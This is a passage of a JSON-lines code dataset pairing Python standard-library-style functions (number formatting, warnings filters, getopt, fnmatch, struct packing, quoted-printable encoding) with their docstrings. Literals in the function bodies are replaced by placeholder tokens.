{"signature": "def fix(x, digs):", "body": "if type(x) != type('<STR_LIT>'): x = repr(x)<EOL>try:<EOL><INDENT>sign, intpart, fraction, expo = extract(x)<EOL><DEDENT>except NotANumber:<EOL><INDENT>return x<EOL><DEDENT>intpart, fraction = unexpo(intpart, fraction, expo)<EOL>intpart, fraction = roundfrac(intpart, fraction, digs)<EOL>while intpart and intpart[<NUM_LIT:0>] == '<STR_LIT:0>': intpart = intpart[<NUM_LIT:1>:]<EOL>if intpart == '<STR_LIT>': intpart = '<STR_LIT:0>'<EOL>if digs > <NUM_LIT:0>: return sign + intpart + '<STR_LIT:.>' + fraction<EOL>else: return sign + intpart<EOL>", "docstring": "Format x as [-]ddd.ddd with 'digs' digits after the point\n    and at least one digit before.\n    If digs <= 0, the point is suppressed.", "id": "f16481:m3"}
{"signature": "def sci(x, digs):", "body": "if type(x) != type('<STR_LIT>'): x = repr(x)<EOL>sign, intpart, fraction, expo = extract(x)<EOL>if not intpart:<EOL><INDENT>while fraction and fraction[<NUM_LIT:0>] == '<STR_LIT:0>':<EOL><INDENT>fraction = fraction[<NUM_LIT:1>:]<EOL>expo = expo - <NUM_LIT:1><EOL><DEDENT>if fraction:<EOL><INDENT>intpart, fraction = fraction[<NUM_LIT:0>], fraction[<NUM_LIT:1>:]<EOL>expo = expo - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>intpart = '<STR_LIT:0>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>expo = expo + len(intpart) - <NUM_LIT:1><EOL>intpart, fraction = intpart[<NUM_LIT:0>], intpart[<NUM_LIT:1>:] + fraction<EOL><DEDENT>digs = max(<NUM_LIT:0>, digs)<EOL>intpart, fraction = roundfrac(intpart, fraction, digs)<EOL>if len(intpart) > <NUM_LIT:1>:<EOL><INDENT>intpart, fraction, expo =intpart[<NUM_LIT:0>], intpart[<NUM_LIT:1>:] + fraction[:-<NUM_LIT:1>],expo + len(intpart) - <NUM_LIT:1><EOL><DEDENT>s = sign + intpart<EOL>if digs > <NUM_LIT:0>: s = s + '<STR_LIT:.>' + fraction<EOL>e = repr(abs(expo))<EOL>e = '<STR_LIT:0>'*(<NUM_LIT:3>-len(e)) + e<EOL>if expo < <NUM_LIT:0>: e = '<STR_LIT:->' + e<EOL>else: e = '<STR_LIT:+>' + e<EOL>return s + '<STR_LIT:e>' + e<EOL>", "docstring": "Format x as [-]d.dddE[+-]ddd with 'digs' digits after the point\n    and exactly one digit before.\n    If digs is <= 0, one digit is kept and the point is suppressed.", "id": "f16481:m4"}
{"signature": "def warnpy3k(message, category=None, stacklevel=<NUM_LIT:1>):", "body": "if sys.py3kwarning:<EOL><INDENT>if category is None:<EOL><INDENT>category = DeprecationWarning<EOL><DEDENT>warn(message, category, stacklevel+<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Issue a deprecation warning for Python 3.x related changes.\n\n    Warnings are omitted unless Python is started with the -3 option.", "id": "f16482:m0"}
{"signature": "def _show_warning(message, category, filename, lineno, file=None, line=None):", "body": "if file is None:<EOL><INDENT>file = sys.stderr<EOL>if file is None:<EOL><INDENT>return<EOL><DEDENT><DEDENT>try:<EOL><INDENT>file.write(formatwarning(message, category, filename, lineno, line))<EOL><DEDENT>except (IOError, UnicodeError):<EOL><INDENT>pass <EOL><DEDENT>", "docstring": "Hook to write a warning to a file; replace if you like.", "id": "f16482:m1"}
{"signature": "def formatwarning(message, category, filename, lineno, line=None):", "body": "try:<EOL><INDENT>unicodetype = str<EOL><DEDENT>except NameError:<EOL><INDENT>unicodetype = ()<EOL><DEDENT>try:<EOL><INDENT>message = str(message)<EOL><DEDENT>except UnicodeEncodeError:<EOL><INDENT>pass<EOL><DEDENT>s =  \"<STR_LIT>\" % (lineno, category.__name__, message)<EOL>line = linecache.getline(filename, lineno) if line is None else line<EOL>if line:<EOL><INDENT>line = line.strip()<EOL>if isinstance(s, unicodetype) and isinstance(line, str):<EOL><INDENT>line = str(line, '<STR_LIT>')<EOL><DEDENT>s += \"<STR_LIT>\" % line<EOL><DEDENT>if isinstance(s, unicodetype) and isinstance(filename, str):<EOL><INDENT>enc = sys.getfilesystemencoding()<EOL>if enc:<EOL><INDENT>try:<EOL><INDENT>filename = str(filename, enc)<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>s = \"<STR_LIT>\" % (filename, s)<EOL>return s<EOL>", "docstring": "Function to format a warning the standard way.", "id": "f16482:m2"}
{"signature": "def filterwarnings(action, message=\"<STR_LIT>\", category=Warning, module=\"<STR_LIT>\", lineno=<NUM_LIT:0>,<EOL>append=<NUM_LIT:0>):", "body": "assert action in (\"<STR_LIT:error>\", \"<STR_LIT:ignore>\", \"<STR_LIT>\", \"<STR_LIT:default>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\"), \"<STR_LIT>\" % (action,)<EOL>assert isinstance(message, str), \"<STR_LIT>\"<EOL>assert isinstance(category, type), \"<STR_LIT>\"<EOL>assert issubclass(category, Warning), \"<STR_LIT>\"<EOL>assert isinstance(module, str), \"<STR_LIT>\"<EOL>assert isinstance(lineno, int) and lineno >= <NUM_LIT:0>,\"<STR_LIT>\"<EOL>item = (action, re.compile(message, re.I), category,<EOL>re.compile(module), lineno)<EOL>if append:<EOL><INDENT>filters.append(item)<EOL><DEDENT>else:<EOL><INDENT>filters.insert(<NUM_LIT:0>, item)<EOL><DEDENT>", "docstring": "Insert an entry into the list of warnings filters (at the front).\n\n    'action' -- one of \"error\", \"ignore\", \"always\", \"default\", \"module\",\n                or \"once\"\n    'message' -- a regex that the warning message must match\n    'category' -- a class that the warning must be a subclass of\n    'module' -- a regex that the module name must match\n    'lineno' -- an integer line number, 0 matches all warnings\n    'append' -- if true, append to the list of filters", "id": "f16482:m3"}
{"signature": "def simplefilter(action, category=Warning, lineno=<NUM_LIT:0>, append=<NUM_LIT:0>):", "body": "assert action in (\"<STR_LIT:error>\", \"<STR_LIT:ignore>\", \"<STR_LIT>\", \"<STR_LIT:default>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\"), \"<STR_LIT>\" % (action,)<EOL>assert isinstance(lineno, int) and lineno >= <NUM_LIT:0>,\"<STR_LIT>\"<EOL>item = (action, None, category, None, lineno)<EOL>if append:<EOL><INDENT>filters.append(item)<EOL><DEDENT>else:<EOL><INDENT>filters.insert(<NUM_LIT:0>, item)<EOL><DEDENT>", "docstring": "Insert a simple entry into the list of warnings filters (at the front).\n\n    A simple filter matches all modules and messages.\n    'action' -- one of \"error\", \"ignore\", \"always\", \"default\", \"module\",\n                or \"once\"\n    'category' -- a class that the warning must be a subclass of\n    'lineno' -- an integer line number, 0 matches all warnings\n    'append' -- if true, append to the list of filters", "id": "f16482:m4"}
{"signature": "def resetwarnings():", "body": "filters[:] = []<EOL>", "docstring": "Clear the list of warning filters, so that no filters are active.", "id": "f16482:m5"}
{"signature": "def warn(message, category=None, stacklevel=<NUM_LIT:1>):", "body": "<EOL>if isinstance(message, Warning):<EOL><INDENT>category = message.__class__<EOL><DEDENT>if category is None:<EOL><INDENT>category = UserWarning<EOL><DEDENT>assert issubclass(category, Warning)<EOL>try:<EOL><INDENT>caller = sys._getframe(stacklevel)<EOL><DEDENT>except ValueError:<EOL><INDENT>globals = sys.__dict__<EOL>lineno = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>globals = caller.f_globals<EOL>lineno = caller.f_lineno<EOL><DEDENT>if '<STR_LIT>' in globals:<EOL><INDENT>module = globals['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>module = \"<STR_LIT>\"<EOL><DEDENT>filename = globals.get('<STR_LIT>')<EOL>if filename:<EOL><INDENT>fnl = filename.lower()<EOL>if fnl.endswith((\"<STR_LIT>\", \"<STR_LIT>\")):<EOL><INDENT>filename = filename[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if module == \"<STR_LIT:__main__>\":<EOL><INDENT>try:<EOL><INDENT>filename = sys.argv[<NUM_LIT:0>]<EOL><DEDENT>except AttributeError:<EOL><INDENT>filename = '<STR_LIT:__main__>'<EOL><DEDENT><DEDENT>if not filename:<EOL><INDENT>filename = module<EOL><DEDENT><DEDENT>registry = globals.setdefault(\"<STR_LIT>\", {})<EOL>warn_explicit(message, category, filename, lineno, module, registry,<EOL>globals)<EOL>", "docstring": "Issue a warning, or maybe ignore it or raise an exception.", "id": "f16482:m10"}
{"signature": "def __init__(self, record=False, module=None):", "body": "self._record = record<EOL>self._module = sys.modules['<STR_LIT>'] if module is None else module<EOL>self._entered = False<EOL>", "docstring": "Specify whether to record warnings and if an alternative module\n        should be used other than sys.modules['warnings'].\n\n        For compatibility with Python 3.0, please consider all arguments to be\n        keyword-only.", "id": "f16482:c2:m0"}
{"signature": "def getopt(args, shortopts, longopts = []):", "body": "opts = []<EOL>if type(longopts) == type(\"<STR_LIT>\"):<EOL><INDENT>longopts = [longopts]<EOL><DEDENT>else:<EOL><INDENT>longopts = list(longopts)<EOL><DEDENT>while args and args[<NUM_LIT:0>].startswith('<STR_LIT:->') and args[<NUM_LIT:0>] != '<STR_LIT:->':<EOL><INDENT>if args[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>args = args[<NUM_LIT:1>:]<EOL>break<EOL><DEDENT>if args[<NUM_LIT:0>].startswith('<STR_LIT>'):<EOL><INDENT>opts, args = do_longs(opts, args[<NUM_LIT:0>][<NUM_LIT:2>:], longopts, args[<NUM_LIT:1>:])<EOL><DEDENT>else:<EOL><INDENT>opts, args = do_shorts(opts, args[<NUM_LIT:0>][<NUM_LIT:1>:], shortopts, args[<NUM_LIT:1>:])<EOL><DEDENT><DEDENT>return opts, args<EOL>", "docstring": "getopt(args, options[, long_options]) -> opts, args\n\n    Parses command line options and parameter list.  args is the\n    argument list to be parsed, without the leading reference to the\n    running program.  Typically, this means \"sys.argv[1:]\".  shortopts\n    is the string of option letters that the script wants to\n    recognize, with options that require an argument followed by a\n    colon (i.e., the same format that Unix getopt() uses).  If\n    specified, longopts is a list of strings with the names of the\n    long options which should be supported.  The leading '--'\n    characters should not be included in the option name.  Options\n    which require an argument should be followed by an equal sign\n    ('=').\n\n    The return value consists of two elements: the first is a list of\n    (option, value) pairs; the second is the list of program arguments\n    left after the option list was stripped (this is a trailing slice\n    of the first argument).  Each option-and-value pair returned has\n    the option as its first element, prefixed with a hyphen (e.g.,\n    '-x'), and the option argument as its second element, or an empty\n    string if the option has no argument.  The options occur in the\n    list in the same order in which they were found, thus allowing\n    multiple occurrences.  Long and short options may be mixed.", "id": "f16483:m0"}
{"signature": "def gnu_getopt(args, shortopts, longopts = []):", "body": "opts = []<EOL>prog_args = []<EOL>if isinstance(longopts, str):<EOL><INDENT>longopts = [longopts]<EOL><DEDENT>else:<EOL><INDENT>longopts = list(longopts)<EOL><DEDENT>if shortopts.startswith('<STR_LIT:+>'):<EOL><INDENT>shortopts = shortopts[<NUM_LIT:1>:]<EOL>all_options_first = True<EOL><DEDENT>elif os.environ.get(\"<STR_LIT>\"):<EOL><INDENT>all_options_first = True<EOL><DEDENT>else:<EOL><INDENT>all_options_first = False<EOL><DEDENT>while args:<EOL><INDENT>if args[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>prog_args += args[<NUM_LIT:1>:]<EOL>break<EOL><DEDENT>if args[<NUM_LIT:0>][:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>opts, args = do_longs(opts, args[<NUM_LIT:0>][<NUM_LIT:2>:], longopts, args[<NUM_LIT:1>:])<EOL><DEDENT>elif args[<NUM_LIT:0>][:<NUM_LIT:1>] == '<STR_LIT:->' and args[<NUM_LIT:0>] != '<STR_LIT:->':<EOL><INDENT>opts, args = do_shorts(opts, args[<NUM_LIT:0>][<NUM_LIT:1>:], shortopts, args[<NUM_LIT:1>:])<EOL><DEDENT>else:<EOL><INDENT>if all_options_first:<EOL><INDENT>prog_args += args<EOL>break<EOL><DEDENT>else:<EOL><INDENT>prog_args.append(args[<NUM_LIT:0>])<EOL>args = args[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT><DEDENT>return opts, prog_args<EOL>", "docstring": "getopt(args, options[, long_options]) -> opts, args\n\n    This function works like getopt(), except that GNU style scanning\n    mode is used by default. This means that option and non-option\n    arguments may be intermixed. The getopt() function stops\n    processing options as soon as a non-option argument is\n    encountered.\n\n    If the first character of the option string is `+', or if the\n    environment variable POSIXLY_CORRECT is set, then option\n    processing stops as soon as a non-option argument is encountered.", "id": "f16483:m1"}
{"signature": "def _purge():", "body": "<EOL>globals()['<STR_LIT>'] = {}<EOL>", "docstring": "Clear the pattern cache", "id": "f16486:m0"}
{"signature": "def fnmatch(name, pat):", "body": "<EOL>return fnmatchcase(name, pat)<EOL>", "docstring": "Test whether FILENAME matches PATTERN.\n\n    Patterns are Unix shell style:\n\n    *       matches everything\n    ?       matches any single character\n    [seq]   matches any character in seq\n    [!seq]  matches any char not in seq\n\n    An initial period in FILENAME is not special.\n    Both FILENAME and PATTERN are first case-normalized\n    if the operating system requires it.\n    If you don't want this, use fnmatchcase(FILENAME, PATTERN).", "id": "f16486:m1"}
{"signature": "def filter(names, pat):", "body": "import os<EOL>result=[]<EOL>try:<EOL><INDENT>re_pat = _cache[pat]<EOL><DEDENT>except KeyError:<EOL><INDENT>res = translate(pat)<EOL>if len(_cache) >= _MAXCACHE:<EOL><INDENT>globals()['<STR_LIT>'] = {}<EOL><DEDENT>_cache[pat] = re_pat = re.compile(res)<EOL><DEDENT>match = re_pat.match<EOL>if <NUM_LIT:1>:<EOL><INDENT>for name in names:<EOL><INDENT>if match(name):<EOL><INDENT>result.append(name)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for name in names:<EOL><INDENT>if match(os.path.normcase(name)):<EOL><INDENT>result.append(name)<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Return the subset of the list NAMES that match PAT", "id": "f16486:m2"}
{"signature": "def fnmatchcase(name, pat):", "body": "try:<EOL><INDENT>re_pat = _cache[pat]<EOL><DEDENT>except KeyError:<EOL><INDENT>res = translate(pat)<EOL>if len(_cache) >= _MAXCACHE:<EOL><INDENT>globals()['<STR_LIT>'] = {}<EOL><DEDENT>_cache[pat] = re_pat = re.compile(res)<EOL><DEDENT>return re_pat.match(name) is not None<EOL>", "docstring": "Test whether FILENAME matches PATTERN, including case.\n\n    This is a version of fnmatch() which doesn't case-normalize\n    its arguments.", "id": "f16486:m3"}
{"signature": "def translate(pat):", "body": "i, n = <NUM_LIT:0>, len(pat)<EOL>res = '<STR_LIT>'<EOL>while i < n:<EOL><INDENT>c = pat[i]<EOL>i = i+<NUM_LIT:1><EOL>if c == '<STR_LIT:*>':<EOL><INDENT>res = res + '<STR_LIT>'<EOL><DEDENT>elif c == '<STR_LIT:?>':<EOL><INDENT>res = res + '<STR_LIT:.>'<EOL><DEDENT>elif c == '<STR_LIT:[>':<EOL><INDENT>j = i<EOL>if j < n and pat[j] == '<STR_LIT:!>':<EOL><INDENT>j = j+<NUM_LIT:1><EOL><DEDENT>if j < n and pat[j] == '<STR_LIT:]>':<EOL><INDENT>j = j+<NUM_LIT:1><EOL><DEDENT>while j < n and pat[j] != '<STR_LIT:]>':<EOL><INDENT>j = j+<NUM_LIT:1><EOL><DEDENT>if j >= n:<EOL><INDENT>res = res + '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>stuff = pat[i:j].replace('<STR_LIT:\\\\>','<STR_LIT>')<EOL>i = j+<NUM_LIT:1><EOL>if stuff[<NUM_LIT:0>] == '<STR_LIT:!>':<EOL><INDENT>stuff = '<STR_LIT>' + stuff[<NUM_LIT:1>:]<EOL><DEDENT>elif stuff[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>stuff = '<STR_LIT:\\\\>' + stuff<EOL><DEDENT>res = '<STR_LIT>' % (res, stuff)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>res = res + re.escape(c)<EOL><DEDENT><DEDENT>return res + '<STR_LIT>'<EOL>", "docstring": "Translate a shell PATTERN to a regular expression.\n\n    There is no way to quote meta-characters.", "id": "f16486:m4"}
{"signature": "def round_to_nearest(x):", "body": "int_part = int(x)<EOL>frac_part = x - int_part<EOL>if frac_part > <NUM_LIT:0.5> or frac_part == <NUM_LIT:0.5> and int_part & <NUM_LIT:1> == <NUM_LIT:1>:<EOL><INDENT>int_part += <NUM_LIT:1><EOL><DEDENT>return int_part<EOL>", "docstring": "Python 3 style round:  round a float x to the nearest int, but\n    unlike the builtin Python 2.x round function:\n\n      - return an int, not a float\n      - do round-half-to-even, not round-half-away-from-zero.\n\n    We assume that x is finite and nonnegative; except wrong results\n    if you use this for negative x.", "id": "f16488:m11"}
{"signature": "def float_unpack(Q, size, le):", "body": "if size == <NUM_LIT:8>:<EOL><INDENT>MIN_EXP = -<NUM_LIT>  <EOL>MAX_EXP = <NUM_LIT>   <EOL>MANT_DIG = <NUM_LIT>    <EOL>BITS = <NUM_LIT:64><EOL><DEDENT>elif size == <NUM_LIT:4>:<EOL><INDENT>MIN_EXP = -<NUM_LIT>   <EOL>MAX_EXP = <NUM_LIT>    <EOL>MANT_DIG = <NUM_LIT>    <EOL>BITS = <NUM_LIT:32><EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if Q >> BITS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>sign = Q >> BITS - <NUM_LIT:1><EOL>exp = (Q & ((<NUM_LIT:1> << BITS - <NUM_LIT:1>) - (<NUM_LIT:1> << MANT_DIG - <NUM_LIT:1>))) >> MANT_DIG - <NUM_LIT:1><EOL>mant = Q & ((<NUM_LIT:1> << MANT_DIG - <NUM_LIT:1>) - <NUM_LIT:1>)<EOL>if exp == MAX_EXP - MIN_EXP + <NUM_LIT:2>:<EOL><INDENT>result = float('<STR_LIT>') if mant else float('<STR_LIT>')<EOL><DEDENT>elif exp == <NUM_LIT:0>:<EOL><INDENT>result = math.ldexp(float(mant), MIN_EXP - MANT_DIG)<EOL><DEDENT>else:<EOL><INDENT>mant += <NUM_LIT:1> << MANT_DIG - <NUM_LIT:1><EOL>result = math.ldexp(float(mant), exp + MIN_EXP - MANT_DIG - <NUM_LIT:1>)<EOL><DEDENT>return -result if sign else result<EOL>", "docstring": "Convert a 32-bit or 64-bit integer created\n    by float_pack into a Python float.", "id": "f16488:m12"}
{"signature": "def float_pack(x, size):", "body": "if size == <NUM_LIT:8>:<EOL><INDENT>MIN_EXP = -<NUM_LIT>  <EOL>MAX_EXP = <NUM_LIT>   <EOL>MANT_DIG = <NUM_LIT>    <EOL>BITS = <NUM_LIT:64><EOL><DEDENT>elif size == <NUM_LIT:4>:<EOL><INDENT>MIN_EXP = -<NUM_LIT>   <EOL>MAX_EXP = <NUM_LIT>    <EOL>MANT_DIG = <NUM_LIT>    <EOL>BITS = <NUM_LIT:32><EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>sign = math.copysign(<NUM_LIT:1.0>, x) < <NUM_LIT:0.0><EOL>if math.isinf(x):<EOL><INDENT>mant = <NUM_LIT:0><EOL>exp = MAX_EXP - MIN_EXP + <NUM_LIT:2><EOL><DEDENT>elif math.isnan(x):<EOL><INDENT>mant = <NUM_LIT:1> << (MANT_DIG - <NUM_LIT:2>)  <EOL>exp = MAX_EXP - MIN_EXP + <NUM_LIT:2><EOL><DEDENT>elif x == <NUM_LIT:0.0>:<EOL><INDENT>mant = <NUM_LIT:0><EOL>exp = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>m, e = math.frexp(abs(x))  <EOL>exp = e - (MIN_EXP - <NUM_LIT:1>)<EOL>if exp > <NUM_LIT:0>:<EOL><INDENT>mant = round_to_nearest(m * (<NUM_LIT:1> << MANT_DIG))<EOL>mant -= <NUM_LIT:1> << MANT_DIG - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if exp + MANT_DIG - <NUM_LIT:1> >= <NUM_LIT:0>:<EOL><INDENT>mant = round_to_nearest(m * (<NUM_LIT:1> << exp + MANT_DIG - <NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>mant = <NUM_LIT:0><EOL><DEDENT>exp = <NUM_LIT:0><EOL><DEDENT>assert <NUM_LIT:0> <= mant <= <NUM_LIT:1> << MANT_DIG - <NUM_LIT:1><EOL>if mant == <NUM_LIT:1> << MANT_DIG - <NUM_LIT:1>:<EOL><INDENT>mant = <NUM_LIT:0><EOL>exp += <NUM_LIT:1><EOL><DEDENT>if exp >= MAX_EXP - MIN_EXP + <NUM_LIT:2>:<EOL><INDENT>raise OverflowError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>assert <NUM_LIT:0> <= mant < <NUM_LIT:1> << MANT_DIG - <NUM_LIT:1><EOL>assert <NUM_LIT:0> <= exp <= MAX_EXP - MIN_EXP + <NUM_LIT:2><EOL>assert <NUM_LIT:0> <= sign <= <NUM_LIT:1><EOL>return ((sign << BITS - <NUM_LIT:1>) | (exp << MANT_DIG - <NUM_LIT:1>)) | mant<EOL>", "docstring": "Convert a Python float x into a 64-bit unsigned integer\n    with the same byte representation.", "id": "f16488:m13"}
{"signature": "def calcsize(fmt):", "body": "formatdef, endianness, i = getmode(fmt)<EOL>num = <NUM_LIT:0><EOL>result = <NUM_LIT:0><EOL>while i < len(fmt):<EOL><INDENT>num, i = getNum(fmt, i)<EOL>cur = fmt[i]<EOL>try:<EOL><INDENT>format = formatdef[cur]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise StructError(\"<STR_LIT>\" % cur)<EOL><DEDENT>if num != None:<EOL><INDENT>result += num * format['<STR_LIT:size>']<EOL><DEDENT>else:<EOL><INDENT>result += format['<STR_LIT:size>']<EOL><DEDENT>num = <NUM_LIT:0><EOL>i += <NUM_LIT:1><EOL><DEDENT>return result<EOL>", "docstring": "calcsize(fmt) -> int\n    Return size of C struct described by format string fmt.\n    See struct.__doc__ for more on format strings.", "id": "f16488:m16"}
{"signature": "def pack(fmt, *args):", "body": "formatdef, endianness, i = getmode(fmt)<EOL>args = list(args)<EOL>n_args = len(args)<EOL>result = []<EOL>while i < len(fmt):<EOL><INDENT>num, i = getNum(fmt, i)<EOL>cur = fmt[i]<EOL>try:<EOL><INDENT>format = formatdef[cur]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise StructError(\"<STR_LIT>\" % cur)<EOL><DEDENT>if num == None:<EOL><INDENT>num_s = <NUM_LIT:0><EOL>num = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>num_s = num<EOL><DEDENT>if cur == '<STR_LIT:x>':<EOL><INDENT>result += [b'<STR_LIT>' * num]<EOL><DEDENT>elif cur == '<STR_LIT:s>':<EOL><INDENT>if isinstance(args[<NUM_LIT:0>], bytes):<EOL><INDENT>padding = num - len(args[<NUM_LIT:0>])<EOL>result += [args[<NUM_LIT:0>][:num] + b'<STR_LIT>' * padding]<EOL>args.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>raise StructError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif cur == '<STR_LIT:p>':<EOL><INDENT>if isinstance(args[<NUM_LIT:0>], bytes):<EOL><INDENT>padding = num - len(args[<NUM_LIT:0>]) - <NUM_LIT:1><EOL>if padding > <NUM_LIT:0>:<EOL><INDENT>result += [bytes([len(args[<NUM_LIT:0>])]) + args[<NUM_LIT:0>]<EOL>[:num - <NUM_LIT:1>] + b'<STR_LIT>' * padding]<EOL><DEDENT>else:<EOL><INDENT>if num < <NUM_LIT:255>:<EOL><INDENT>result += [bytes([num - <NUM_LIT:1>]) + args[<NUM_LIT:0>][:num - <NUM_LIT:1>]]<EOL><DEDENT>else:<EOL><INDENT>result += [bytes([<NUM_LIT:255>]) + args[<NUM_LIT:0>][:num - <NUM_LIT:1>]]<EOL><DEDENT><DEDENT>args.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>raise StructError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if len(args) < num:<EOL><INDENT>raise StructError(\"<STR_LIT>\")<EOL><DEDENT>for var in args[:num]:<EOL><INDENT>result += [format['<STR_LIT>'](var, format['<STR_LIT:size>'], endianness)]<EOL><DEDENT>args = args[num:]<EOL><DEDENT>num = None<EOL>i += <NUM_LIT:1><EOL><DEDENT>if len(args) != <NUM_LIT:0>:<EOL><INDENT>raise StructError(\"<STR_LIT>\")<EOL><DEDENT>return b'<STR_LIT>'.join(result)<EOL>", "docstring": "pack(fmt, v1, v2, ...) -> string\n       Return string containing values v1, v2, ... packed according to fmt.\n       See struct.__doc__ for more on format strings.", "id": "f16488:m17"}
{"signature": "def unpack(fmt, data):", "body": "formatdef, endianness, i = getmode(fmt)<EOL>j = <NUM_LIT:0><EOL>num = <NUM_LIT:0><EOL>result = []<EOL>length = calcsize(fmt)<EOL>if length != len(data):<EOL><INDENT>raise StructError(\"<STR_LIT>\")<EOL><DEDENT>while i < len(fmt):<EOL><INDENT>num, i = getNum(fmt, i)<EOL>cur = fmt[i]<EOL>i += <NUM_LIT:1><EOL>try:<EOL><INDENT>format = formatdef[cur]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise StructError(\"<STR_LIT>\" % cur)<EOL><DEDENT>if not num:<EOL><INDENT>num = <NUM_LIT:1><EOL><DEDENT>if cur == '<STR_LIT:x>':<EOL><INDENT>j += num<EOL><DEDENT>elif cur == '<STR_LIT:s>':<EOL><INDENT>result.append(data[j:j + num])<EOL>j += num<EOL><DEDENT>elif cur == '<STR_LIT:p>':<EOL><INDENT>n = data[j]<EOL>if n >= num:<EOL><INDENT>n = num - <NUM_LIT:1><EOL><DEDENT>result.append(data[j + <NUM_LIT:1>:j + n + <NUM_LIT:1>])<EOL>j += num<EOL><DEDENT>else:<EOL><INDENT>for n in range(num):<EOL><INDENT>result += [format['<STR_LIT>'](data, j, format['<STR_LIT:size>'], endianness)]<EOL>j += format['<STR_LIT:size>']<EOL><DEDENT><DEDENT><DEDENT>return tuple(result)<EOL>", "docstring": "unpack(fmt, string) -> (v1, v2, ...)\n       Unpack the string, containing packed C structure data, according\n       to fmt.  Requires len(string)==calcsize(fmt).\n       See struct.__doc__ for more on format strings.", "id": "f16488:m18"}
{"signature": "def _clearcache():", "body": "<EOL>", "docstring": "Clear the internal cache.", "id": "f16488:m21"}
{"signature": "def b2a_qp(data, quotetabs=False, istext=True, header=False):", "body": "MAXLINESIZE = <NUM_LIT><EOL>lf = data.find('<STR_LIT:\\n>')<EOL>crlf = lf > <NUM_LIT:0> and data[lf-<NUM_LIT:1>] == '<STR_LIT:\\r>'<EOL>inp = <NUM_LIT:0><EOL>linelen = <NUM_LIT:0><EOL>odata = []<EOL>while inp < len(data):<EOL><INDENT>c = data[inp]<EOL>if (c > '<STR_LIT>' or<EOL>c == '<STR_LIT:=>' or<EOL>(header and c == '<STR_LIT:_>') or<EOL>(c == '<STR_LIT:.>' and linelen == <NUM_LIT:0> and (inp+<NUM_LIT:1> == len(data) or<EOL>data[inp+<NUM_LIT:1>] == '<STR_LIT:\\n>' or<EOL>data[inp+<NUM_LIT:1>] == '<STR_LIT:\\r>')) or<EOL>(not istext and (c == '<STR_LIT:\\r>' or c == '<STR_LIT:\\n>')) or<EOL>((c == '<STR_LIT:\\t>' or c == '<STR_LIT:U+0020>') and (inp + <NUM_LIT:1> == len(data))) or<EOL>(c <= '<STR_LIT:U+0020>' and c != '<STR_LIT:\\r>' and c != '<STR_LIT:\\n>' and<EOL>(quotetabs or (not quotetabs and (c != '<STR_LIT:\\t>' and c != '<STR_LIT:U+0020>'))))):<EOL><INDENT>linelen += <NUM_LIT:3><EOL>if linelen >= MAXLINESIZE:<EOL><INDENT>odata.append('<STR_LIT:=>')<EOL>if crlf: odata.append('<STR_LIT:\\r>')<EOL>odata.append('<STR_LIT:\\n>')<EOL>linelen = <NUM_LIT:3><EOL><DEDENT>odata.append('<STR_LIT:=>' + two_hex_digits(ord(c)))<EOL>inp += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if (istext and<EOL>(c == '<STR_LIT:\\n>' or (inp+<NUM_LIT:1> < len(data) and c == '<STR_LIT:\\r>' and<EOL>data[inp+<NUM_LIT:1>] == '<STR_LIT:\\n>'))):<EOL><INDENT>linelen = <NUM_LIT:0><EOL>if (len(odata) > <NUM_LIT:0> and<EOL>(odata[-<NUM_LIT:1>] == '<STR_LIT:U+0020>' or odata[-<NUM_LIT:1>] == '<STR_LIT:\\t>')):<EOL><INDENT>ch = ord(odata[-<NUM_LIT:1>])<EOL>odata[-<NUM_LIT:1>] = '<STR_LIT:=>'<EOL>odata.append(two_hex_digits(ch))<EOL><DEDENT>if crlf: odata.append('<STR_LIT:\\r>')<EOL>odata.append('<STR_LIT:\\n>')<EOL>if c == '<STR_LIT:\\r>':<EOL><INDENT>inp += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>inp += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if (inp + <NUM_LIT:1> < len(data) and<EOL>data[inp+<NUM_LIT:1>] != '<STR_LIT:\\n>' and<EOL>(linelen + <NUM_LIT:1>) >= MAXLINESIZE):<EOL><INDENT>odata.append('<STR_LIT:=>')<EOL>if crlf: odata.append('<STR_LIT:\\r>')<EOL>odata.append('<STR_LIT:\\n>')<EOL>linelen = <NUM_LIT:0><EOL><DEDENT>linelen += <NUM_LIT:1><EOL>if header and c == '<STR_LIT:U+0020>':<EOL><INDENT>c = '<STR_LIT:_>'<EOL><DEDENT>odata.append(c)<EOL>inp += 